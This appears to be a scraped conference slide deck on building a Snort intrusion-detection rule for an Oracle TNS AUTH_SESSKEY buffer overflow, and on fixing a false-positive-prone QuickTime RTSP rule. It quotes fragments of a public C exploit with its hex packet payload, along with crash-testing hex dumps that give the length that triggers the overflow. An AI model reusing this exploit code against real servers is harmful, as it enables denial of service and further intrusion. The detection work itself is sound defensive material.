300 likes | 439 Views
Life Cycle of a Snort Rule: From Vulnerability to Coverage. Alex Kirk Sourcefire VRT. About the Sourcefire VRT. Founded in 2001 20 team members Core team members based in Columbia, Maryland (USA) ClamAV team members based in Poland, Italy and Germany
E N D
Life Cycle of a Snort Rule: From Vulnerability to Coverage Alex Kirk Sourcefire VRT
About the Sourcefire VRT • Founded in 2001 • 20 team members • Core team members based in Columbia, Maryland (USA) • ClamAV team members based in Poland, Italy and Germany • Threat Feed team members based in Columbia and India • Responsibilities include: • Publishing new Snort rules and Sourcefire Protection Updates • Publishing new ClamAV signatures • Development of the ClamAV Engine
Bug Announcement • Oracle issues October 2009 Critical Patch Update • 16 total bugs are fixed • 3 have a CVSS score of 10 • No public information • Reverse-engineering and fuzzing difficult at best • Too many things fixed at once • Too big of a program
Exploit Surfaces • Dennis Yurichev posts to Full-Disclosure • Source code and Windows executable attached • Script-kiddie friendly DoS • No shellcode included • Easy launching point for more malicious exploits
Run the Exploit • Does it actually work? • Some published exploits have intentional brokenness • Some are just written by lamers • Need a valid target • VMware setups are best • Snapshot before you run an exploit
Get A PCAP sudo tcpdump –n –i eth0 –s0 –w <pcap name>
PCAP Cleanup • Ugly PCAPs are your enemy • More packets = more work • Broken checksums screw up Snort • Always use a BPF filter • http://www.shmoo.com/~bmc/software/random/fix-cksum.pl is your friend
Now What? printf ("s_send_NSPTDA: sending %d bytes...\n", sz); s_send (s, (char*)buf, sz); free (buf); }; void s_send_TNS_command (SOCKET s, const char *cmd) { unsigned char * pkt; int cmd_len=strlen (cmd); printf ("sending [%s]\n", cmd); printf ("len: %d\n", cmd_len); if (cmd_len<231) { int str_len=strlen(cmd); int pkt_len=str_len+58; pkt=(unsigned char*)malloc (str_len+58); memcpy (pkt, "\x00\x00\x00\x00\x01\x00\x00\x00" // plenH, plenL "\x01\x3A\x01\x2C\x00\x41\x20\x00" "\x7F\xFF\xC6\x0E\x00\x00\x01\x00" "\x00\x00\x00\x3A\x00\x00\x02\x00" // cmdlenH cmdlenL "\x61\x61\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00“ "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00", 58); memcpy (pkt+58, cmd, str_len); memcpy (pkt1318, "\x05\x26\x00\x00\x06\x00\x00\x00\x00\x00\x03\x73\x03\xFE\xFF\xFF" "\xFF\x05\x00\x00\x00\x01\x01\x00\x00\xFE\xFF\xFF\xFF\x12\x00\x00" "\x00\xFE\xFF\xFF\xFF\xFE\xFF\xFF\xFF\x05\x73\x63\x6F\x74\x74\x0C" "\x00\x00\x00\x0C\x41\x55\x54\x48\x5F\x53\x45\x53\x53\x4B\x45\x59" "\x40\x00\x00\x00\x40\x36\x33\x41\x45\x31\x36\x41\x30\x44\x31\x41" "\x46\x31\x45\x39\x33\x37\x41\x44\x36\x36\x46\x34\x46\x31\x35\x36" "\x37\x31\x30\x33\x30\x34\x46\x36\x36\x30\x31\x44\x30\x45\x33\x35" "\x34\x37\x46\x42\x46\x39\x35\x34\x39\x37\x34\x32\x33\x30\x42\x43" "\x30\x36\x45\x34\x30\x01\x00\x00\x00\x0D\x00\x00\x00\x0D\x41\x55" "\x54\x48\x5F\x50\x41\x53\x53\x57\x4F\x52\x44\x40\x00\x00\x00\x40" "\x36\x31\x37\x35\x31\x42\x45\x35\x34\x37\x31\x30\x44\x45\x41\x46" "\x38\x46\x42\x33\x34\x32\x45\x36\x32\x41\x45\x35\x30\x45\x44\x38" "\x45\x43\x38\x30\x39\x33\x31\x44\x33\x44\x45\x34\x42\x33\x41\x37" "\x34\x35\x38\x37\x45\x36\x46\x32\x36\x46\x37\x45\x45\x30\x34\x34" "\x00\x00\x00\x00\x08\x00\x00\x00\x08\x41\x55\x54\x48\x5F\x52\x54" "\x54\x05\x00\x00\x00\x05\x32\x38\x30\x32\x38\x00\x00\x00\x00\x0D" "\x00\x00\x00\x0D\x41\x55\x54\x48\x5F\x43\x4C\x4E\x54\x5F\x4D\x45" "\x4D\x04\x00\x00\x00\x04\x34\x30\x39\x36\x00\x00\x00\x00\x0D\x00" "\x00\x00\x0D\x41\x55\x54\x48\x5F\x54\x45\x52\x4D\x49\x4E\x41\x4C" "\x05\x00\x00\x00\x05\x55\x4E\x49\x54\x31\x00\x00\x00\x00\x0F\x00" "\x00\x00\x0F\x41\x55\x54\x48\x5F\x50\x52\x4F\x47\x52\x41\x4D\x5F" "\x4E\x4D\x0A\x00\x00\x00\x0A\x70\x79\x74\x68\x6F\x6E\x2E\x65\x78" "\x65\x00\x00\x00\x00\x0C\x00\x00\x00\x0C\x41\x55\x54\x48\x5F\x4D" "\x41\x43\x48\x49\x4E\x45\x0F\x00\x00\x00\x0F\x57\x4F\x52\x4B\x47" "\x52\x4F\x55\x50\x5C\x55\x4E\x49\x54\x31\x00\x00\x00\x00\x08\x00" "\x00\x00\x08\x41\x55\x54\x48\x5F\x50\x49\x44\x09\x00\x00\x00\x09" "\x32\x38\x30\x38\x3A\x34\x30\x30\x34\x00\x00\x00\x00\x08\x00\x00" "\x00\x08\x41\x55\x54\x48\x5F\x53\x49\x44\x06\x00\x00\x00\x06\x64" "\x65\x6E\x6E\x69\x73\x00\x00\x00\x00\x16\x00\x00\x00\x16\x53\x45" "\x53\x53\x49\x4F\x4E\x5F\x43\x4C\x49\x45\x4E\x54\x5F\x43\x48\x41" "\x52\x53\x45\x54\x03\x00\x00\x00\x03\x31\x37\x38\x00\x00\x00\x00" "\x17\x00\x00\x00\x17\x53\x45\x53\x53\x49\x4F\x4E\x5F\x43\x4C\x49" "\x45\x4E\x54\x5F\x4C\x49\x42\x5F\x54\x59\x50\x45\x01\x00\x00\x00" "\x01\x31\x00\x00\x00\x00\x1A\x00\x00\x00\x1A\x53\x45\x53\x53\x49“ "\x4F\x4E\x5F\x43\x4C\x49\x45\x4E\x54\x5F\x44\x52\x49\x56\x45\x52" unsigned char NSPTCN[]= { 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x3A, 0x01, 0x2C, 0x00, 0x41, 0x20, 0x00, 0x7F, 0xFF, 0xC6, 0x0E, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, 0x02, 0x00, //^^ ^^ cmdlen 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; #define NSPTCN_HEADER_LEN 58 unsigned char NSPTDA[]= { 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, // ^^ ^^ packet len 0x00, 0x00 }; #define NSPTDA_HEADER_LEN 10 void s_send_NSPTDA (SOCKET s, char *msg, int size) { char * buf; intsz=size + NSPTDA_HEADER_LEN; buf=(char*)malloc (sz); NSPTDA[0]=( sz ) >> 8; NSPTDA[1]=( sz ) & 0xFF; memcpy (buf, NSPTDA, NSPTDA_HEADER_LEN); memcpy (buf + NSPTDA_HEADER_LEN, msg, size);
Aha! "\x2E\x53\x53\x58\x46\x46\x20\x41\x4D\x20\x54\x5A\x52\x27\x00\x00" "\x00\x00\x00\x00\x17\x00\x00\x00\x17\x41\x55\x54\x48\x5F\x4C\x4F" "\x47\x49\x43\x41\x4C\x5F\x53\x45\x53\x53\x49\x4F\x4E\x5F\x49\x44" "\x20\x00\x00\x00\x20\x35\x44\x46\x34\x37\x43\x45\x35\x42\x38\x42" "\x32\x34\x43\x46\x38\x42\x46\x42\x36\x46\x30\x46\x36\x39\x32\x42" "\x38\x46\x42\x39\x38\x00\x00\x00\x00\x10\x00\x00\x00\x10\x41\x55" "\x54\x48\x5F\x46\x41\x49\x4C\x4F\x56\x45\x52\x5F\x49\x44\x00\x00" "\x00\x00\x00\x00\x00\x00" ,1318); pkt1318[0x41]=0x80; s_send (s, pkt1318, 1318); assert (closesocket (s)==0); return true; } else { printf ("while connect(): select() returns zero\n"); assert (closesocket (s)==0); return false; };
What’s Different? • Yes, there are other differences • Start with the one the exploit called out
It’s The Length, Stupid Many binary protocols have length/value pairs • Undocumented protocols seem scary • How am I ever going to figure all this out? • Good news: you don’t need to!
Which One? 0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P 0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................ 0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_ 0030 53 45 53 53 4b 45 59 40 00 00 00 40 37 42 46 36 SESSKEY@...@7BF6 0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1 0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC 0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421 0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2.... 0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWO
Which One? 0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P 0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................ 0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_ 0030 53 45 53 53 4b 45 59 40 00 00 00 40 37 42 46 36 SESSKEY@...@7BF6 0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1 0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC 0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421 0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2.... 0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWO
Exploit Doesn’t Help • Could be either 0x00008040 or 0x80000040 • Both are bigger than the data supplied • Both could result in an overflow 0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P 0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................ 0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_ 0030 53 45 53 53 4b 45 59 40 80 00 00 40 37 42 46 36 SESSKEY@...@7BF6 0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1 0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC 0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421 0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2.... 0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWO
No Crash • Clearly not little-endian • 0x80000040 is HUGE -> 2147483712 0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P 0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................ 0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_ 0030 53 45 53 53 4b 45 59 40 00 00 80 40 37 42 46 36 SESSKEY@...@7BF6 0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1 0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC 0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421 0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2.... 0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWO
Crash! • Works as big-endian number • Minimum size for crash = 0x00010000 (65536) 0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P 0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................ 0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_ 0030 53 45 53 53 4b 45 59 40 00 80 00 40 37 42 46 36 SESSKEY@...@7BF6 0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1 0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC 0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421 0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2.... 0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWO
Snort Rule - Conditions • Must be on TCP port 1521 (standard for TNS) • Must be sent to a server, not a client • Must contain “AUTH_SESSKEY” • 4-byte size that follows must be > 65535 • That’s it!
Snort Rule • alert tcp $EXTERNAL_NET any -> $HOME_NET 1521 (msg:”ORACLE auth_sesskey buffer overflow attempt”; flow:established,to_server; content:”AUTH_SESSKEY”; nocase; byte_test:4,>,65535,1,relative; reference:bugtraq,36747; reference:cve,2009-1979; classtype:attempted-admin; sid:99970;)
Trust But Verify • akirk@sf:~/downloads/snort-2.8.5$ src/snort -c etc/snort.conf -q -A cmg -r ~/pcaps/cve-2009-1979.pcap • 11/16-13:34:05.613227 [**] [1:99970:0] ORACLE auth_sesskey buffer overflow attempt [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 10.4.11.66:57116 -> 10.4.10.136 • :1521 • 11/16-13:34:05.613227 0:23:AE:88:C2:38 -> 0:C:29:80:98:1B type:0x800 len:0x55C • 10.4.11.66:57116 -> 10.4.10.136:1521 TCP TTL:128 TOS:0x0 ID:14082 IpLen:20 DgmLen:1358 DF • ***AP**F Seq: 0x32E2F59C Ack: 0x885EAB16 Win: 0x3FCD TcpLen: 20 • 05 26 00 00 06 00 00 00 00 00 03 73 03 FE FF FF .&.........s.... • FF 05 00 00 00 01 01 00 00 FE FF FFFF 12 00 00 ................ • 00 FE FF FFFF FE FF FFFF 05 73 63 6F 74 74 0C ..........scott. • 00 00 00 0C 41 55 54 48 5F 53 45 53 53 4B 45 59 ....AUTH_SESSKEY • 40 80 00 00 40 36 33 41 45 31 36 41 30 44 31 41 @...@63AE16A0D1A • Don’t forget to test your valid traffic, too!
False Positives • Nobody’s perfect • Part of any rule-writer’s job: fixing mistakes
False Positive Example: SID 12741 • QuickTime buffer overflow • Looks like: • RTSP/1.0 200 OK • Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <shellcode goes here>
Evasion Case • RTSP/1.0 200 OK • Content-Type : AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <shellcode goes here> • Spaces between “Content-Type” and “:”
Existing Rule • alert tcp $EXTERNAL_NET 554 -> $HOME_NET any (msg:"EXPLOIT Apple Quicktime TCP RTSP sdp type buffer overflow attempt"; flow:to_client,established; content:"RTSP"; depth:4; content:"Content-Type"; nocase; content:"|3A|"; distance:0; isdataat:256,relative; content:!"|0A|"; within:256; content:!"|3A|"; within:256; metadata:service rtsp; reference:bugtraq,26549; reference:cve,2007-6166; classtype:attempted-user; sid:12741; rev:9;)
Rule Problem • Goal - Allow for spaces between “Content-Type” and “:” • Actual result – any “:” following “Content-Type” in the packet matches • RTSP/1.0 200 OK • Content-Type: application/sdp • a=pgmpu:data:application/x-wms- contentdesc,8,language,31,0,,42,WMS_CONTENT_DESCRIPTION_PLAYLIST_ENTRY_URL,31,1,/,58,WMS_CONTENT_DESCRIPTION_COPIED_METADATA_FROM_PLAYLIST_FILE,3,1,1,47,WMS_CONTENT_DESCRIPTION_PLAYLIST_ENTRY_DURATION...
Fixed Rule alert tcp $EXTERNAL_NET 554 -> $HOME_NET any (msg:"EXPLOIT Apple Quicktime TCP RTSP sdp type buffer overflow attempt"; flow:to_client,established; content:"RTSP"; depth:4; fast_pattern; content:"Content-Type"; nocase; isdataat:257,relative; content:!"|0A|"; within:257; pcre:"/Content-Type\s*\x3A[^\n\x3A]{256}/smi"; metadata:service rtsp; reference:bugtraq,26549; reference:cve,2007-6166; classtype:attempted-user; sid:12741; rev:10;)
Improvements • PCRE validates spaces – more accurate • Uses new “fast_pattern” keyword • “Content-Type” is common • “RTSP” is not • Matching less common contentmeans other rule options getevaluated less, so rule is faster
New Snort Keywords • http_method • http_client_body • http_header • http_cookie • All restrict where you search for a content match • Smaller search area = faster, more accurate • Check the Snort Manual frequently!
Questions? • Email: alex.kirk@sourcefire.com • IRC: #snort on freenode • VRT Blog: http://vrt-sourcefire.blogspot.com/ • Mailing Lists: https://lists.sourceforge.com/lists/listinfo/snort-users • https://lists.sourceforge.com/lists/listinfo/snort-sigs • Twitter: http//www.twitter.com/vrt_sourcefire